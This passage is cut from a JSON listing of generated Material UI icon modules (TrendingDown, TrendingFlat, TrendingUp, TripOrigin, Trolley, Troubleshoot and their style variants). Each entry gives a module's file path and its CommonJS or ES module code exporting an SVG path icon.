    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 18 2.29-2.29-4.88-4.88-4 4L2 7.41 3.41 6l6 6 4-4 6.3 6.29L22 12v6z\"\n}), 'TrendingDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingDownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 18 2.29-2.29-4.88-4.88-4 4L2 7.41 3.41 6l6 6 4-4 6.3 6.29L22 12v6z\"\n}), 'TrendingDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingDownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 18 2.29-2.29-4.88-4.88-4 4L2 7.41 3.41 6l6 6 4-4 6.3 6.29L22 12v6z\"\n}), 'TrendingDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingDownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.85 17.15 1.44-1.44-4.88-4.88-3.29 3.29c-.39.39-1.02.39-1.41 0l-6-6.01a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L9.41 12l3.29-3.29c.39-.39 1.02-.39 1.41 0l5.59 5.58 1.44-1.44c.31-.31.85-.09.85.35v4.29c0 .28-.22.5-.5.5H17.2c-.44.01-.66-.53-.35-.84\"\n}), 'TrendingDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingDownRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.85 17.15 1.44-1.44-4.88-4.88-3.29 3.29c-.39.39-1.02.39-1.41 0l-6-6.01a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L9.41 12l3.29-3.29c.39-.39 1.02-.39 1.41 0l5.59 5.58 1.44-1.44c.31-.31.85-.09.85.35v4.29c0 .28-.22.5-.5.5H17.2c-.44.01-.66-.53-.35-.84\"\n}), 'TrendingDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingDownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 18 2.29-2.29-4.88-4.88-4 4L2 7.41 3.41 6l6 6 4-4 6.3 6.29L22 12v6z\"\n}), 'TrendingDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingDownSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 18 2.29-2.29-4.88-4.88-4 4L2 7.41 3.41 6l6 6 4-4 6.3 6.29L22 12v6z\"\n}), 'TrendingDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingDownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 18 2.29-2.29-4.88-4.88-4 4L2 7.41 3.41 6l6 6 4-4 6.3 6.29L22 12v6z\"\n}), 'TrendingDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingDownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 18 2.29-2.29-4.88-4.88-4 4L2 7.41 3.41 6l6 6 4-4 6.3 6.29L22 12v6z\"\n}), 'TrendingDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingFlat.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 12-4-4v3H3v2h15v3z\"\n}), 'TrendingFlat');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingFlat.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 12-4-4v3H3v2h15v3z\"\n}), 'TrendingFlat');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingFlatOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 12-4-4v3H3v2h15v3z\"\n}), 'TrendingFlatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingFlatOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 12-4-4v3H3v2h15v3z\"\n}), 'TrendingFlatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingFlatRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.65 11.65-2.79-2.79c-.32-.32-.86-.1-.86.35V11H4c-.55 0-1 .45-1 1s.45 1 1 1h14v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7\"\n}), 'TrendingFlatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingFlatRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.65 11.65-2.79-2.79c-.32-.32-.86-.1-.86.35V11H4c-.55 0-1 .45-1 1s.45 1 1 1h14v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7\"\n}), 'TrendingFlatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingFlatSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 12-4-4v3H3v2h15v3z\"\n}), 'TrendingFlatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingFlatSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 12-4-4v3H3v2h15v3z\"\n}), 'TrendingFlatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingFlatTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 12-4-4v3H3v2h15v3z\"\n}), 'TrendingFlatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingFlatTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 12-4-4v3H3v2h15v3z\"\n}), 'TrendingFlatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingUp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 6 2.29 2.29-4.88 4.88-4-4L2 16.59 3.41 18l6-6 4 4 6.3-6.29L22 12V6z\"\n}), 'TrendingUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingUp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 6 2.29 2.29-4.88 4.88-4-4L2 16.59 3.41 18l6-6 4 4 6.3-6.29L22 12V6z\"\n}), 'TrendingUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingUpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 6 2.29 2.29-4.88 4.88-4-4L2 16.59 3.41 18l6-6 4 4 6.3-6.29L22 12V6z\"\n}), 'TrendingUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingUpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 6 2.29 2.29-4.88 4.88-4-4L2 16.59 3.41 18l6-6 4 4 6.3-6.29L22 12V6z\"\n}), 'TrendingUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingUpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.85 6.85 1.44 1.44-4.88 4.88-3.29-3.29a.996.996 0 0 0-1.41 0l-6 6.01c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L9.41 12l3.29 3.29c.39.39 1.02.39 1.41 0l5.59-5.58 1.44 1.44c.31.31.85.09.85-.35V6.5c.01-.28-.21-.5-.49-.5h-4.29c-.45 0-.67.54-.36.85\"\n}), 'TrendingUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingUpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.85 6.85 1.44 1.44-4.88 4.88-3.29-3.29a.996.996 0 0 0-1.41 0l-6 6.01c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L9.41 12l3.29 3.29c.39.39 1.02.39 1.41 0l5.59-5.58 1.44 1.44c.31.31.85.09.85-.35V6.5c.01-.28-.21-.5-.49-.5h-4.29c-.45 0-.67.54-.36.85\"\n}), 'TrendingUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingUpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 6 2.29 2.29-4.88 4.88-4-4L2 16.59 3.41 18l6-6 4 4 6.3-6.29L22 12V6z\"\n}), 'TrendingUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingUpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 6 2.29 2.29-4.88 4.88-4-4L2 16.59 3.41 18l6-6 4 4 6.3-6.29L22 12V6z\"\n}), 'TrendingUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingUpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 6 2.29 2.29-4.88 4.88-4-4L2 16.59 3.41 18l6-6 4 4 6.3-6.29L22 12V6z\"\n}), 'TrendingUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingUpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 6 2.29 2.29-4.88 4.88-4-4L2 16.59 3.41 18l6-6 4 4 6.3-6.29L22 12V6z\"\n}), 'TrendingUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TripOrigin.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 12C2 6.48 6.48 2 12 2s10 4.48 10 10-4.48 10-10 10S2 17.52 2 12m10 6c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6\"\n}), 'TripOrigin');"
  },
  {
    "path": "packages/mui-icons-material/lib/TripOrigin.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 12C2 6.48 6.48 2 12 2s10 4.48 10 10-4.48 10-10 10S2 17.52 2 12m10 6c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6\"\n}), 'TripOrigin');"
  },
  {
    "path": "packages/mui-icons-material/lib/TripOriginOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 12C2 6.48 6.48 2 12 2s10 4.48 10 10-4.48 10-10 10S2 17.52 2 12m10 6c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6\"\n}), 'TripOriginOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TripOriginOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 12C2 6.48 6.48 2 12 2s10 4.48 10 10-4.48 10-10 10S2 17.52 2 12m10 6c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6\"\n}), 'TripOriginOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TripOriginRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 12C2 6.48 6.48 2 12 2s10 4.48 10 10-4.48 10-10 10S2 17.52 2 12m10 6c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6\"\n}), 'TripOriginRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TripOriginRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 12C2 6.48 6.48 2 12 2s10 4.48 10 10-4.48 10-10 10S2 17.52 2 12m10 6c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6\"\n}), 'TripOriginRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TripOriginSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 12C2 6.48 6.48 2 12 2s10 4.48 10 10-4.48 10-10 10S2 17.52 2 12m10 6c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6\"\n}), 'TripOriginSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TripOriginSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 12C2 6.48 6.48 2 12 2s10 4.48 10 10-4.48 10-10 10S2 17.52 2 12m10 6c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6\"\n}), 'TripOriginSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TripOriginTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 16c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'TripOriginTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TripOriginTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 16c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'TripOriginTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Trolley.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14v2H4V4H2V2h4v12zM5.99 17C4.89 17 4 17.9 4 19s.89 2 1.99 2C7.1 21 8 20.1 8 19s-.9-2-2.01-2m13 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2S21 20.1 21 19s-.9-2-2.01-2M13 13H7V7h6zm7 0h-6V7h6z\"\n}), 'Trolley');"
  },
  {
    "path": "packages/mui-icons-material/lib/Trolley.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14v2H4V4H2V2h4v12zM5.99 17C4.89 17 4 17.9 4 19s.89 2 1.99 2C7.1 21 8 20.1 8 19s-.9-2-2.01-2m13 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2S21 20.1 21 19s-.9-2-2.01-2M13 13H7V7h6zm7 0h-6V7h6z\"\n}), 'Trolley');"
  },
  {
    "path": "packages/mui-icons-material/lib/Troubleshoot.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 20.59-4.69-4.69C18.37 14.55 19 12.85 19 11c0-4.42-3.58-8-8-8-4.08 0-7.44 3.05-7.93 7h2.02C5.57 7.17 8.03 5 11 5c3.31 0 6 2.69 6 6s-2.69 6-6 6c-2.42 0-4.5-1.44-5.45-3.5H3.4C4.45 16.69 7.46 19 11 19c1.85 0 3.55-.63 4.9-1.69L20.59 22z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.43 9.69 9.65 15h1.64l1.26-3.78.95 2.28h2V12h-1l-1.25-3h-1.54l-1.12 3.37L9.35 7H7.7l-1.25 4H1v1.5h6.55z\"\n}, \"1\")], 'Troubleshoot');"
  },
  {
    "path": "packages/mui-icons-material/lib/Troubleshoot.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 20.59-4.69-4.69C18.37 14.55 19 12.85 19 11c0-4.42-3.58-8-8-8-4.08 0-7.44 3.05-7.93 7h2.02C5.57 7.17 8.03 5 11 5c3.31 0 6 2.69 6 6s-2.69 6-6 6c-2.42 0-4.5-1.44-5.45-3.5H3.4C4.45 16.69 7.46 19 11 19c1.85 0 3.55-.63 4.9-1.69L20.59 22z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.43 9.69 9.65 15h1.64l1.26-3.78.95 2.28h2V12h-1l-1.25-3h-1.54l-1.12 3.37L9.35 7H7.7l-1.25 4H1v1.5h6.55z\"\n}, \"1\")], 'Troubleshoot');"
  },
  {
    "path": "packages/mui-icons-material/lib/TroubleshootOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 20.59-4.69-4.69C18.37 14.55 19 12.85 19 11c0-4.42-3.58-8-8-8-4.08 0-7.44 3.05-7.93 7h2.02C5.57 7.17 8.03 5 11 5c3.31 0 6 2.69 6 6s-2.69 6-6 6c-2.42 0-4.5-1.44-5.45-3.5H3.4C4.45 16.69 7.46 19 11 19c1.85 0 3.55-.63 4.9-1.69L20.59 22z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.43 9.69 9.65 15h1.64l1.26-3.78.95 2.28h2V12h-1l-1.25-3h-1.54l-1.12 3.37L9.35 7H7.7l-1.25 4H1v1.5h6.55z\"\n}, \"1\")], 'TroubleshootOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TroubleshootOutlined.mjs",
